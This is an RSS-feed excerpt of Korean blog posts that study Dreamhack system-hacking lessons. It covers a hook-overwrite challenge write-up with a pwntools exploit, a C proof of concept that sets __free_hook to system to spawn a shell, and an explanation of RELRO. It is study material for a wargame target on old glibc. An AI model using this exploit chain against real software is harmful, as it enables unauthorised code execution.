&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 라이브러리 변수 및 함수의 주소 구하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;__free_hook, system, &quot;/bin/sh&quot; 문자열은 libc 파일에 정의되어 있으니, libc 파일로부터 offset을 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;135&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IBAMq/btsDUfd0R84/OtkVqTglsXkXCopykykjeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IBAMq/btsDUfd0R84/OtkVqTglsXkXCopykykjeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IBAMq/btsDUfd0R84/OtkVqTglsXkXCopykykjeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIBAMq%2FbtsDUfd0R84%2FOtkVqTglsXkXCopykykjeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;135&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;__free_hook offset = 0x3ed8e8&lt;/li&gt;
&lt;li&gt;system func offset = 0x4f550&lt;/li&gt;
&lt;li&gt;&quot;/bin/sh&quot; string offset = 0x1b3e1a&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 실제 매핑된 주소를 구하기 위해서는 libc의 base address를 알아야 된다. 보통 스택에는 libc의 주소가 있을 가능성이 매우 크다. libc의 라이브러리 함수인 __libc_start_main 함수가 main함수를 호출한다. 따라서 스택의 값을 읽을 수 있을 때, main 함수의 스택프레임에 존재하는 return address를 읽으면 그 주소를 기반으로 libc의 base address를 구할 수 있고, 다른 함수들의 주소도 구할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;a. main함수의 return address 구하기 (__libc_start_main 내부)&lt;br /&gt;b. __libc_start_main 시작으로부터 main의 return까지 offset 구하기&lt;br /&gt;c. main의 return address - (__libc_start_main + 2번으로 구한 값) = libc의 base address&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mfzu9/btsFobPvWsn/YNXrESaY4FKneTdBJ6qCRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mfzu9/btsFobPvWsn/YNXrESaY4FKneTdBJ6qCRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mfzu9/btsFobPvWsn/YNXrESaY4FKneTdBJ6qCRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmfzu9%2FbtsFobPvWsn%2FYNXrESaY4FKneTdBJ6qCRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;571&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a. main 함수의 return address는 0x7f2f82353c87 -&amp;gt; bof로 획득 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;b. __libc_start_main의 시작으로부터 +231 만큼 떨어진 위치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;815&quot; data-origin-height=&quot;63&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OBXME/btsFpPZHYrc/htYrP7swmDJJkKmdKnBNqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OBXME/btsFpPZHYrc/htYrP7swmDJJkKmdKnBNqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OBXME/btsFpPZHYrc/htYrP7swmDJJkKmdKnBNqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOBXME%2FbtsFpPZHYrc%2FhtYrP7swmDJJkKmdKnBNqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;815&quot; height=&quot;63&quot; data-origin-width=&quot;815&quot; data-origin-height=&quot;63&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;c. 0x7f2f82353c87 - (0x21b10+231) = libc의 base address&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 쉘 획득&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 과정에서 구한 함수 주소를 이용해, line 21- 27에서 __free_hook의 값을 system함수로 덮고 ilne29-32에서 &quot;/bin/sh&quot;의 주소값을 넣어 free함수를 실행하면 __free_hook(&quot;/bin/sh&quot;)이 system(&quot;/bin/sh&quot;)을 호출하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;페이로드 작성&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 라이브러리 변수 및 함수들의 주소 구하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bof를 통해 main함수의 return address를 구한다. 이후 libc의 base 주소를 앞서 설명한 과정대로 구해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1709550099705&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;p = remote('host3.dreamhack.games',15612)
e = ELF(&quot;./fho&quot;)
libc = ELF(&quot;./libc-2.27.so&quot;)

off_system = libc.symbols['system']
off_free_hook = libc.symbols['__free_hook']
off_libc_start = libc.symbols['__libc_start_main']
off_binsh = next(libc.search(b'/bin/sh'))

# Buffer OverFlow
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
main_return_address = u64(p.recvline()[:-1] + b'\x00'*2) # main의 return address

base_libc = main_return_address - (off_libc_start + 231)
system = base_libc + off_system
free_hook = base_libc + off_free_hook
binsh = base_libc + off_binsh
slog('libc_base', base_libc)
slog('free_hook',free_hook)
slog('system', system)
slog('/bin/sh', binsh)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;buffer 구조는 아래와 같다. 따라서 Buf에 0x48만큼의 값을 넣어 return address를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;410&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEPyBs/btsFpSa905I/Wen1XgT4X2uMbmj8s3XRW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEPyBs/btsFpSa905I/Wen1XgT4X2uMbmj8s3XRW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEPyBs/btsFpSa905I/Wen1XgT4X2uMbmj8s3XRW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEPyBs%2FbtsFpSa905I%2FWen1XgT4X2uMbmj8s3XRW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;410&quot; height=&quot;402&quot; data-origin-width=&quot;410&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 쉘 획득&lt;/h4&gt;
&lt;pre id=&quot;code_1709557879063&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uBd04/btsFvX9836K/nikIBtmK4Oj6KfxcwsR2a0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uBd04/btsFvX9836K/nikIBtmK4Oj6KfxcwsR2a0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uBd04/btsFvX9836K/nikIBtmK4Oj6KfxcwsR2a0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuBd04%2FbtsFvX9836K%2FnikIBtmK4Oj6KfxcwsR2a0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;577&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>hook overwrite</category>
      <category>RELRO</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/62</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23#entry62comment</comments>
      <pubDate>Mon, 4 Mar 2024 22:19:45 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Exploit Tech: Hook Overwrite(1/2)</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite13</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;후킹(hooking)은 코드 실행을 낚아채 다른 코드가 샐행되게 하는 것을 말하고, 이때 실행되는 코드를 훅(hook)이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후킹은 다양한 용도로 사용된다. 예를 들어 malloc과 free에 hook을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링 할 수 있다. 이를 응용하면 함수 도입부에 모니터링 함수를 hook으로 설치하여 모든 호출 함수를 tracing 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 hook overwrite와 one-gadget에 대해 공부할 것이다.&amp;nbsp;&lt;b&gt;Hook Overwrite&lt;/b&gt;는 Full RELRO가 적용되더라도 libc의 데이터 영역에 쓰는 것이라 Full RELRO를 우회할 수 있는 기법이다. Glibc 2.33이하에선 libc 데이터 영역에 malloc()과 free()를 호출할 때 함께 호출되는 hook이 함수 포인터 형태로 존재한다. 이 함수 포인터를 임의 함수 주소로 overwrite 가능하다. &lt;b&gt;O&lt;/b&gt;&lt;b&gt;ne-gadget&lt;/b&gt;은 단일 가젯만으로 쉘을 실행할 수 있는 가젯이다. Glibc의 버전이 높을수록 제약 조건을 만족하기 어려우므로&amp;nbsp;&lt;b&gt;ubuntu 18.04(Glibc 2.27버전)&lt;/b&gt;에서 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;메모리 함수 훅&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;malloc, free, realloc hook&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;malloc, free, realloc은 libc.so에 구현되어 있다. readelf의 s옵션을 이용해 malloc, free, realloc의 심볼을 확인한 결과이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rytrl/btsDLrsONff/Kf9uoYIlCocDS88LXfmMa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rytrl/btsDLrsONff/Kf9uoYIlCocDS88LXfmMa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rytrl/btsDLrsONff/Kf9uoYIlCocDS88LXfmMa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRytrl%2FbtsDLrsONff%2FKf9uoYIlCocDS88LXfmMa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;934&quot; height=&quot;138&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;libc에는 디버깅 편의를 위해 훅 변수가 정의되어 있다. malloc의 경우, __malloc_hook 변수의 값이 null인지 검사하고, null이 아니라면 &lt;b&gt;malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행&lt;/b&gt;한다. 이때, &lt;b&gt;malloc의 인자는 훅 함수에 전달&lt;/b&gt;된다. free는 __free_hook, realloc은 __realloc_hook인 훅 함수가 존재한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;훅의 위치와 권한&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;__malloc_hook, __free_hook, __realloc_hook 또한 libc.so에 정의되어 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QFQRz/btsDQ5h4Hqp/PqK078hCu6ZAtWOjuRBOtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QFQRz/btsDQ5h4Hqp/PqK078hCu6ZAtWOjuRBOtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QFQRz/btsDQ5h4Hqp/PqK078hCu6ZAtWOjuRBOtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQFQRz%2FbtsDQ5h4Hqp%2FPqK078hCu6ZAtWOjuRBOtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;99&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변수의 offset은 libc.so의 bss 섹션에 포함되어 있다. bss 섹션은 쓰기가 가능하므로, 이 변수들의 값은 조작 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;60&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HJnPj/btsDSpHhd2V/242lu3Atgtau1r61HpJ9K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HJnPj/btsDSpHhd2V/242lu3Atgtau1r61HpJ9K0/img.png&quot; data-alt=&quot;Address, Offset, Size, EntSize&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HJnPj/btsDSpHhd2V/242lu3Atgtau1r61HpJ9K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHJnPj%2FbtsDSpHhd2V%2F242lu3Atgtau1r61HpJ9K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;60&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;60&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Address, Offset, Size, EntSize&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Hook Overwrite&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 시나리오는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. __malloc_hook을 system 함수 주소로 덮기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. hook 실행 시, 기존 함수에 전달한 인자를 같이 전달해 주기 때문에, 인자로 &quot;/bin/sh&quot; 전달&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 코드는 hook overwrite에 대한 Proof-of-Concept(PoC)이다. 이 코드를 실행하면 쉘 획득되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1706018652853&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include &amp;lt;malloc.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

const char *buf=&quot;/bin/sh&quot;;

int main() {
  printf(&quot;\&quot;__free_hook\&quot; now points at \&quot;system\&quot;\n&quot;);
  __free_hook = (void *)system;
  printf(&quot;call free(\&quot;/bin/sh\&quot;)\n&quot;);
  free(buf);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;343&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba5Qf8/btsDLuDawiQ/nfQdkU7U5NGXukkckkKsPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba5Qf8/btsDLuDawiQ/nfQdkU7U5NGXukkckkKsPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba5Qf8/btsDLuDawiQ/nfQdkU7U5NGXukkckkKsPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba5Qf8%2FbtsDLuDawiQ%2FnfQdkU7U5NGXukkckkKsPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;343&quot; height=&quot;120&quot; data-origin-width=&quot;343&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Full RELRO가 적용된 바이너리에도 라이브러리의 훅에는 쓰기 권한이 남아있어, 이런 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;__free_hook과 같이 훅은 libc에 쓰기 권한으로 존재하는 함수포인터이며, free(), malloc()을 간접적으로 호출할 수 있기 때문에 공격에 악용되기 쉽니다. 또한, hook은 힙 청크 할당(malloc)과 해제(free)가 다발적으로 일어나는 환경에서 성능에 안좋은 영향을 끼치기 때문에,&amp;nbsp;&lt;b&gt;보안과 성능 향상을 이유로 Glibc 2.34 버전 부터는 제거되었다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>RELRO</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/61</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite13#entry61comment</comments>
      <pubDate>Wed, 24 Jan 2024 22:23:37 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] RELRO - RELocation Read-Only</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-RELRO-RELocation-Read-Only</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Lazy binding은 ELF 바이너리에서 라이브러리 함수의 시작주소를 구하지 않다가, 함수를 처음 호출할 때 해당 주소를 구해 GOT에 저장하는 것을 말한다. Lazy binding을 하는 바이너리는 실행 중 GOT를 업데이트 해야하므로, GOT에 쓰기 권한이 부여된다. 이로 인해 GOT Overwrite 공격이 가능한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;GOT 영역 외에도, ELF의 데이터 세그먼트에는 프로세스 초기화 및 종료와 관련된 .init_array, .fini_array가 있다. 해당 영역들은 프로세스 시작과 종료에 실행할 함수의 주소를 저장하고 있는데, 여기에 임의의 값을 쓸 수 있다면 프로세스 흐름 조작이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 overwrite로부터 데이터 세그먼트를 보호하고자&amp;nbsp;&lt;b&gt;RELocation Read-Only(RELRO)&lt;/b&gt;개념이 도입되었다. RELRO는 쓰기권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거하는 것이다. 적용 범위에 따라 Partial RELRO와 Full RELRO로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 방식의 차이를 보기 위해, 자신의 메모리 맵을 출력하는 아래의 예제코드로 사용할 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1704168263239&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: relro.c
// Compile: gcc -o prelro relro.c -no-pie -fno-PIE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
	FILE *fp;
	char ch;
	fp = fopen(&quot;/proc/self/maps&quot;, &quot;r&quot;);
	while (1) {
		ch = fgetc(fp);
		if (ch == EOF) break;
			putchar(ch);
	}
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gcc는 기본적으로 Full RELRO를 적용하고, PIE를 해제하면 Partial RELRO를 적용한다. RELRO 여부도 checksec으로 확인할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Partial RELRO&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PIE를 해제하고 checksec으로 확인해보면 아래와 같이 Partial RELRO가 적용된 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;252&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zS0M4/btsCOEtkCRG/Ey6dSMOUHONaZyjLkDbxnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zS0M4/btsCOEtkCRG/Ey6dSMOUHONaZyjLkDbxnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zS0M4/btsCOEtkCRG/Ey6dSMOUHONaZyjLkDbxnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzS0M4%2FbtsCOEtkCRG%2FEy6dSMOUHONaZyjLkDbxnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;252&quot; height=&quot;100&quot; data-origin-width=&quot;252&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Partial RELRO 권한&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prelro를 실행해보면, 0x404000부터 0x405000까지 쓰기권한이 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDnJ8D/btsCWLjXYny/lNeKhd1rs2AMcGz4tWOTP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDnJ8D/btsCWLjXYny/lNeKhd1rs2AMcGz4tWOTP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDnJ8D/btsCWLjXYny/lNeKhd1rs2AMcGz4tWOTP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDnJ8D%2FbtsCWLjXYny%2FlNeKhd1rs2AMcGz4tWOTP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1032&quot; height=&quot;421&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;objdump를 이용해 해당 영역의 섹션 헤더를 참조해보면, 0x404000-0x405000에는 .got.plt, .data, .bss가 할당되어 있다. 즉, 이 섹션에는 쓰기가 가능하다. 하지만, .init_array와 .fini_array는 0x403e10과 0x403e18에 할당되어 있어 쓰기권한이 없는 영역에 존재한다.&lt;/p&gt;
